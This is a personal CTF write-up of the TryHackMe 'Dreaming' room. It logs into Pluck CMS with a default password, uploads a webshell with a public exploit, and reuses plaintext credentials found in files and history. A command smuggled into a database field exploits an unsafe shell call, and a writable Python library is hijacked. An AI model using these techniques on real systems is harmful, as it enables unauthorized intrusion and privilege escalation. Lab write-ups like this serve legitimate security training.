Post

TryHackMe: Dreaming

TryHackMe: Dreaming

Dreaming, contrary to the Cheese CTF had me going less times to check on write-ups, made me felt great and motivated to do even more rooms. It was a nice room in general, simple yet complete. I’m also trying automated enumeration to instead of going right to write-ups i atleast have a list of content that i might have missed and its kinda working..some tools might be overwhelming with the content but i think its good support.

Room https://tryhackme.com/r/room/dreaming

Initial Enumeration

Nmap Scan

We start off by doing a nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV 10.10.192.151               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 20:40 GMT
Nmap scan report for 10.10.192.151
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
|   256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_  256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds

Web 80

Not much to look at so we visit port 80, just to see an apache default page:

Web 80

Gobuster Scan

Next step was a gobuster scan since we couldn’t get much info from the main page of port 80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".html,.txt,.php" -t 25 --timeout 20s -u http://10.10.192.151:80/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.192.151:80/
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10918]
/app                  (Status: 301) [Size: 312] [--> http://10.10.192.151/app/]
/server-status        (Status: 403) [Size: 278]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

There is only one valid directory called app so we navigate to it:

Web 80 Index.png

We see a cms called pluck and its version 4.7.13, and when pressing the link we go to the main page:

Web 80 App.png

There is also an admin login page that we could try to login with some default credentials such as root, admin, password, etc…

Web 80 Login

And lucky enough with the password password we are in:

Web 80 Main

We don’t find much inside but after googling pluck 4.7.13 we find one exploit:

Search

After downloading the code, to run it we just have to do as follows:

1
2
3
4
5
6
┌──(venv)─(kali㉿kali)-[~/Desktop]
└─$ python3 exploit.py 10.10.192.151 80 password /app/pluck-4.7.13/

Authentification was succesfull, uploading webshell

Uploaded Webshell to: http://10.10.192.151:80/app/pluck-4.7.13//files/shell.phar

As stated in the output we just have to go to http://10.10.192.151:80/app/pluck-4.7.13//files/shell.phar to get access to the shell:

Web 80 Shell

Our main point of interest is to retrieve the lucien’s flag first, we find it inside lucien home directory but we don’t have permission to open it.

Lucien Flag

Next step is to search for other content related to lucien with the command:

1
2
3
4
5
6
7
8
9
p0wny@shell:/home/lucien# find / -type f -user lucien 2>/dev/null
/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt

Reading the /opt/test.py file we find a password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
p0wny@shell:/opt# cat test.py
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)

Since the only other port available is port 22 we could only assume this password is for ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh lucien@10.10.192.151                           
The authenticity of host '10.10.192.151 (10.10.192.151)' can't be established.
ED25519 key fingerprint is SHA256:TiF46IptmDF+BtUdOfJe4wi8tC9LCMA60kHMuHbVw+Y.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.192.151' (ED25519) to the list of known hosts.
                                  {} {}
                            !  !  II II  !  !
                         !  I__I__II II__I__I  !
                         I_/|--|--|| ||--|--|\_I
        .-'"'-.       ! /|_/|  |  || ||  |  |\_|\ !       .-'"'-.
       /===    \      I//|  |  |  || ||  |  |  |\\I      /===    \
       \==     /   ! /|/ |  |  |  || ||  |  |  | \|\ !   \==     /
        \__  _/    I//|  |  |  |  || ||  |  |  |  |\\I    \__  _/
         _} {_  ! /|/ |  |  |  |  || ||  |  |  |  | \|\ !  _} {_
        {_____} I//|  |  |  |  |  || ||  |  |  |  |  |\\I {_____}
   !  !  |=  |=/|/ |  |  |  |  |  || ||  |  |  |  |  | \|\=|-  |  !  !
  _I__I__|=  ||/|  |  |  |  |  |  || ||  |  |  |  |  |  |\||   |__I__I_
  -|--|--|-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|   ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||   |--|--|-
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
  _|__|__|   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |__|__|_
  -|--|--|=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|=  ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||=  |--|--|-
  jgs |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
 ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

W e l c o m e, s t r a n g e r . . .
lucien@10.10.192.151's password: 
...
lucien@dreaming:~$ 

Now that we are inside we can read the lucien flag:

1
2
3
4
lucien@dreaming:~$ ls
lucien_flag.txt
lucien@dreaming:~$ cat lucien_flag.txt
THM{REDACTED}

Death Flag

Doing what we did with lucien to find related content we can do the same with death:

1
2
3
4
5
6
7
8
9
10
11
lucien@dreaming:/home/death$ find / -type f -user death 2>/dev/null
/opt/getDreams.py
/home/death/.viminfo
/home/death/.mysql_history
/home/death/getDreams.py
/home/death/.bash_history
/home/death/.wget-hsts
/home/death/.profile
/home/death/.bash_logout
/home/death/death_flag.txt
/home/death/.bashrc

When reading getDreams.py we find the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

The DB_PASS is redacted we can’t really do much so we keep enumerating.

Doing sudo -l we see that we are able to execute the script getDreams.py as the user death using sudo, which is located in the user’s home directory.

1
2
3
4
5
6
7
lucien@dreaming:~$ sudo -1
Matching Defaults entries for lucien on dreaming:
	env_reset, mail_badpass,
	secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin:/sbin:/bin\:/snap/bin
	
User lucien may run the following commands on dreaming:
	(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py lucien@dreaming:~$

And running the script as death we get the following:

1
2
3
4
5
6
7
8
lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py 
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

Going on with the enumeration, using the command history we find some interesting commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
lucien@dreaming:~$ history
...
   24  mysql -u lucien -plucien42DBPASSWORD
   25  ls -la
   26  cat .bash_history 
   27  cat .mysql_history 
   28  clear
   29  ls
   30  ls -la
   31  rm .mysql_history 
   32  clear
   33  history
   34  exit
   35  clear
   36  ls
   37  clear
   38  cd /opt
   39  ls
   40  clear
   41  nano test.sh
   42  ls -la
   43  su root
   44  ls
   45  mv test.sh test.py
   46  ls -la
   47  history
   48  nano ~/.bash_history 
   49  su root
   50  clear
   51  mysql -u lucien -p
   52  clear
   53  history
   54  exit
   55  clear
   56  ls
   57  history
   58  cd ~~
   59  cd ~
   60  cat .bash_history 
   61  clear
   62  ls
   63  sudo -l
   64  /usr/bin/python3 /home/death/getDreams.py
   65  sudo -u death /usr/bin/python3 /home/death/getDreams.py
   66  clear
   67  mysql -u lucien -p
   68  mysql -u root -p
   69  su root
   70  clear
   71  ls

We have the credentials to log into mysql as lucien:

1
2
3
4
5
6
7
8
9
10
11
lucien@dreaming: /home/death$ mysql -u lucien -plucien42DBPASSWORD
mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with; or \g.
Your MySQL connection id is 24
Server version: 8.0.33-0ubuntu0.20.04.4 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other name may be trademarks of their respective
owners.

Type 'help;' or '\n' for help. Type '\c' to clear the current input statement.

Using the information we got from the getDreams.py file we know they are using the library database, so now we can get inside it and access its content.

Going back to the syntax we see that if we insert into the database a command that displays the real getDreams.py we can get the death password just like we did with test.py. We can do it by using the following command:

1
2
mysql> insert into dreams(dreamer,dream) values ('cat /home/death/getDreams.py | bash', '-l');
Query OK, 1 row affected (0.01 sec)

When we run the sudo command again as death it will give us the source code of getDreams.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "!mementoMORI666!"
DB_NAME = "library"

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

And to get the flag we log into death’s machine through ssh and read the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh death@10.10.192.151       
                                  {} {}
                            !  !  II II  !  !
                         !  I__I__II II__I__I  !
                         I_/|--|--|| ||--|--|\_I
        .-'"'-.       ! /|_/|  |  || ||  |  |\_|\ !       .-'"'-.
       /===    \      I//|  |  |  || ||  |  |  |\\I      /===    \
       \==     /   ! /|/ |  |  |  || ||  |  |  | \|\ !   \==     /
        \__  _/    I//|  |  |  |  || ||  |  |  |  |\\I    \__  _/
         _} {_  ! /|/ |  |  |  |  || ||  |  |  |  | \|\ !  _} {_
        {_____} I//|  |  |  |  |  || ||  |  |  |  |  |\\I {_____}
   !  !  |=  |=/|/ |  |  |  |  |  || ||  |  |  |  |  | \|\=|-  |  !  !
  _I__I__|=  ||/|  |  |  |  |  |  || ||  |  |  |  |  |  |\||   |__I__I_
  -|--|--|-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|   ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||   |--|--|-
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
  _|__|__|   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |__|__|_
  -|--|--|=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|=  ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||=  |--|--|-
  jgs |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
 ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

W e l c o m e, s t r a n g e r . . .
death@10.10.192.151's password: 
...
death@dreaming:~$ ls
death_flag.txt  getDreams.py
death@dreaming:~$ cat death_flag.txt
THM{REDACTED}
death@dreaming:~$ 

Morpheus Flag

We still need to get the morpheus flag, to do so we will investigate its home directory.

Inside we find a file called restore.py and reading it gives the following:

1
2
3
4
5
6
7
8
9
10
death@dreaming:/home/morpheus$ ls
kingdom  morpheus_flag.txt  restore.py
death@dreaming:/home/morpheus$ cat restore.py
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

We don’t see much but after looking better at the shutil package we find that we have the permissions to edit the main file:

1
2
3
4
5
6
death@dreaming:/home/morpheus$ find / -type f -name shutil.py 2>/dev/null
/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py
death@dreaming:/home/morpheus$ ls -la /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Aug  7  2023 /usr/lib/python3.8/shutil.py

We will write a command inside the shutil.py, using nano, that gives us permission to read morpheus flag without needing to switch users.

Morpheus Perms

And now we can read morpheu’s flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
death@dreaming:/home/morpheus$ ls -la
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug  7  2023 .
drwxr-xr-x 5 root     root     4096 Jul 28  2023 ..
-rw------- 1 morpheus morpheus   58 Aug 14  2023 .bash_history
-rw-r--r-- 1 morpheus morpheus  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25  2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus   22 Jul 28  2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28  2023 .local
-rwxrwxrwx 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus  807 Feb 25  2020 .profile
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7  2023 restore.py
-rw-rw-r-- 1 morpheus morpheus   66 Jul 28  2023 .selected_editor
death@dreaming:/home/morpheus$ cat morpheus_flag.txt
THM{REDACTED}
This post is licensed under CC BY 4.0 by the author.